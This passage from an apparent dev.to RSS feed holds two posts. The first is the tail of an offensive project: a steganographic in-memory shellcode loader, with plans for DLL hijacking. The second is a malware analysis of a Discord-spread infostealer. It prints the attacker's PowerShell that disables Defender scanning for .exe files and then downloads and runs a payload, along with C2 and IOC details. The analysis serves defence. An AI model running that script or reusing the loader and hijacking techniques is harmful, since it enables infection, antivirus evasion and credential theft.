&lt;strong&gt;Reading raw PNG pixel data&lt;/strong&gt; using the &lt;code&gt;lodepng&lt;/code&gt; library&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extracting and converting bitstreams&lt;/strong&gt; into usable bytes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validating custom STEG markers and length headers&lt;/strong&gt; for embedded data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementing manual Base64 decoding&lt;/strong&gt; routines&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Executing in-memory shellcode&lt;/strong&gt; via &lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;memcpy&lt;/code&gt;, and function pointers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Rebuilding everything in C++ forced me to think more deeply about how low-level execution works much more than Python ever did. Debugging the process taught me to account for edge cases I hadn't considered before, like payload length mismatches and memory alignment issues.&lt;/p&gt;

&lt;p&gt;This exercise significantly leveled up my understanding of binary data handling and executable memory operations in a real-world context.&lt;/p&gt;




&lt;h2&gt;
  
  
  POC Repository
&lt;/h2&gt;

&lt;p&gt;Full code for the Python POC:&lt;br&gt;
&lt;a href="https://github.com/Yuriibe/poc_stegano_loader" rel="noopener noreferrer"&gt;github.com/Yuriibe/poc_stegano_loader&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;C++ Extractor:&lt;br&gt;
&lt;a href="https://github.com/Yuriibe/StegaExtractor" rel="noopener noreferrer"&gt;github.com/Yuriibe/StegaExtractor&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next: Part 2 - DLL Search Order Hijacking
&lt;/h2&gt;

&lt;p&gt;The next phase of this project will explore &lt;strong&gt;DLL Search Order Hijacking&lt;/strong&gt; as a stealthier method of payload delivery. The plan is to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Refactor the current &lt;strong&gt;C++ extractor into a DLL&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Implement an exported function that automatically extracts and executes the hidden payload when the DLL is loaded&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;DLL hijacking&lt;/strong&gt; techniques to place the malicious DLL in a location where a vulnerable application will load it instead of the legitimate one&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This will allow me to test in-memory execution in a real-world process context without dropping any obvious executables to disk, and without triggering UAC prompts.&lt;/p&gt;

</description>
      <category>steganography</category>
      <category>shellcode</category>
      <category>python</category>
      <category>cpp</category>
    </item>
    <item>
      <title>Malware Analysis: Discord-Delivered Infostealer (Lapresse)</title>
      <dc:creator>yuribe</dc:creator>
      <pubDate>Sat, 28 Mar 2026 23:19:39 +0000</pubDate>
      <link>https://dev.to/yuribe/malware-analysis-discord-delivered-infostealer-lapresse-2b2d</link>
      <guid>https://dev.to/yuribe/malware-analysis-discord-delivered-infostealer-lapresse-2b2d</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;I investigated a Discord-distributed malware campaign delivering a Python-based infostealer disguised as &lt;code&gt;.zip&lt;/code&gt; files. The malware employs Base85 + XOR obfuscation, multiple persistence mechanisms, and a WebSocket-based C2 infrastructure. I performed both static and dynamic analysis to uncover the infection chain, payload behavior, and exfiltration methods.&lt;/p&gt;




&lt;h2&gt;
  
  
  Threat Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Malware Type&lt;/td&gt;
&lt;td&gt;Python-based Infostealer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry Point&lt;/td&gt;
&lt;td&gt;Discord server promotion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Obfuscation&lt;/td&gt;
&lt;td&gt;Base85 + XOR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Scheduled tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfil Method&lt;/td&gt;
&lt;td&gt;Discord Webhooks &amp;amp; WebSocket C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primary C2&lt;/td&gt;
&lt;td&gt;ws://195.211.190.107:8767&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tools Used&lt;/td&gt;
&lt;td&gt;pyinstxtractor, pycdc, HxD, Wireshark&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  1. Initial Vector
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Delivery Method&lt;/strong&gt;: Discord server promoted via &lt;a href="https://discordservers.com/server/1354134816194564147" rel="noopener noreferrer"&gt;discordservers.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File Name&lt;/strong&gt;: &lt;code&gt;Launcher.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavior&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Hosted on Discord CDN&lt;/li&gt;
&lt;li&gt;Attempts to evade detection of payloads by using a &lt;code&gt;.zip&lt;/code&gt; extension with an executable file (confirmed by &lt;code&gt;MZ&lt;/code&gt; header in HxD)&lt;/li&gt;
&lt;li&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4o6444efv9pxfmzyid6l.png" alt="HxD" width="701" height="450"&gt;&lt;/li&gt;
&lt;li&gt;Downloads additional payloads via obfuscated PowerShell script&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Advertised Discord Server
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://discordservers.com/server/1354134816194564147" rel="noopener noreferrer"&gt;https://discordservers.com/server/135413481619456414&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Fake user:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7u0v8l2pwfh8425e67t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7u0v8l2pwfh8425e67t.png" alt="Fake user" width="608" height="567"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Real user:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvn9cgd7usisvmcp35qr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvn9cgd7usisvmcp35qr.png" alt="Real User" width="610" height="672"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Payload Chain
&lt;/h2&gt;

&lt;p&gt;The PowerShell script downloads 5 payloads from GitHub.&lt;/p&gt;

&lt;h2&gt;
  
  
  Triage
&lt;/h2&gt;

&lt;p&gt;Initial sample - &lt;strong&gt;Launcher.exe from Discord&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://tria.ge/250401-jxxhrsyly6/behavioral1" rel="noopener noreferrer"&gt;Sandbox Link&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Payloads:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Payload 1: &lt;a href="https://tria.ge/250401-l4tfsszkz9/behavioral1" rel="noopener noreferrer"&gt;https://tria.ge/250401-l4tfsszkz9/behavioral1&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Payload 2: &lt;a href="https://tria.ge/250401-l8p9yaxvc1/behavioral1" rel="noopener noreferrer"&gt;https://tria.ge/250401-l8p9yaxvc1/behavioral1&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Payload 3: &lt;a href="https://tria.ge/250401-l8yajszlt6/behavioral1" rel="noopener noreferrer"&gt;https://tria.ge/250401-l8yajszlt6/behavioral1&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Payload 4: &lt;a href="https://tria.ge/250401-l7htgazls9/behavioral1" rel="noopener noreferrer"&gt;https://tria.ge/250401-l7htgazls9/behavioral1&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Payload 5: &lt;a href="https://tria.ge/250401-l5p5rsxvbz/behavioral1" rel="noopener noreferrer"&gt;https://tria.ge/250401-l5p5rsxvbz/behavioral1&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Grabbed from:&lt;br&gt;
&lt;a href="https://idefasoft.com/pastes/yUmTjqdnCjrD/raw/" rel="noopener noreferrer"&gt;https://idefasoft.com/pastes/yUmTjqdnCjrD/raw/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; This PowerShell is &lt;strong&gt;malicious&lt;/strong&gt;. Do not run it.&lt;br&gt;
For &lt;strong&gt;educational purposes only&lt;/strong&gt; - shown here as part of analysis.&lt;br&gt;
&lt;/p&gt;


&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Set-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExclusionExtension&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://raw.githubusercontent.com/Lapresse-Hugo/MalwareDatabase/refs/heads/master/Unknown/1.zip"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;Env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;LocalAppData&lt;/span&gt;&lt;span class="s2"&gt;\Updates\firefox_updater.exe"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Verb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RunAs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filepath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;Env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;LocalAppData&lt;/span&gt;&lt;span class="s2"&gt;\Updates\firefox_updater.exe"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Despite &lt;code&gt;.zip&lt;/code&gt; extension, all are PyInstaller-packed &lt;code&gt;.exe&lt;/code&gt; files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Payload Analysis (via Detect It Easy):
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Payloads 1, 3, 5&lt;/strong&gt; are PyInstaller executables&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqhq5zwi24hp2nz1z3ner.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqhq5zwi24hp2nz1z3ner.webp" alt="Detect it Easy" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Signs of being infostealers: &lt;code&gt;master_key&lt;/code&gt;, &lt;code&gt;passwords&lt;/code&gt;, &lt;code&gt;webhook_url&lt;/code&gt;, &lt;code&gt;ImageGrab&lt;/code&gt;, etc.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Obfuscation Techniques
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Encoding Technique
&lt;/h3&gt;

&lt;p&gt;The malware used a combo of &lt;strong&gt;Base85 encoding&lt;/strong&gt; and an &lt;strong&gt;XOR cipher&lt;/strong&gt; with hardcoded keys to obfuscate its payload URLs. I discovered this while reversing &lt;code&gt;main.pyc&lt;/code&gt; from Payload 5. After extracting the binary using &lt;a href="https://github.com/extremecoders-re/pyinstxtractor" rel="noopener noreferrer"&gt;pyinstxtractor&lt;/a&gt; and partially decompiling with &lt;code&gt;pycdc&lt;/code&gt;, I noticed suspicious encoded strings like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sJ6APjTTG5m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;
        &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
                &lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;236&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;233&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;131&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;215&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
            &lt;span class="p"&gt;])[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
                &lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;236&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;233&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;131&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;215&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
            &lt;span class="p"&gt;]))]&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b85decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Czze{5la`ZaouY*vOZ~KVULFHO#@l?F8C@Il@dxv3j&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;)))).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From there, I wrote a quick decoder in Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decode_b85_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;decoded_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b85decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;xored&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_bytes&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;xored&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;replace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;encoded_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Czze{5la`ZaouY*vOZ~KVULFHO#@l?F8C@Il@dxv3j&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;key_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;236&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;233&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;131&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;215&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;decode_b85_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded_1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Decoded Payload URLs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"url1"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://pastebin.com/raw/D2WBNJMD"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"url2"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://idefasoft.com/pastes/2EiUfFx35K3p/raw/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"resolved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ws://195.211.190.107:8767"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Persistence &amp;amp; Behavior
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Creates Scheduled Tasks: &lt;code&gt;EdgeUpdater&lt;/code&gt;, &lt;code&gt;SystemUpdater&lt;/code&gt;, &lt;code&gt;WindowsUpdater&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Survives reboot&lt;/li&gt;
&lt;li&gt;Screenshot + credential grab&lt;/li&gt;
&lt;li&gt;Uses Discord Webhooks and WebSocket for exfil&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5. Network Infrastructure
&lt;/h2&gt;

&lt;h3&gt;
  
  
  C2 Server
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;WebSocket URL: &lt;code&gt;ws://195.211.190.107:8767&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Resolved Host: &lt;code&gt;ryoko.questnerd.net&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Geo Info
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IP: 195.211.190.107
Location: Kerkrade, Limburg, NL
Org: AS214943 Railnet LLC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Attribution Clues
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Hosted on: &lt;a href="https://github.com/Lapresse-Hugo/MalwareDatabase" rel="noopener noreferrer"&gt;Lapresse-Hugo's GitHub fork&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Claimed Identity: &lt;a href="https://www.linkedin.com/in/hugo-lapresse/" rel="noopener noreferrer"&gt;Hugo Lapresse&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Attribution likely false - this appears to be impersonation.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Indicators of Compromise (IOCs)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;&lt;a href="https://pastebin.com/raw/D2WBNJMD" rel="noopener noreferrer"&gt;https://pastebin.com/raw/D2WBNJMD&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
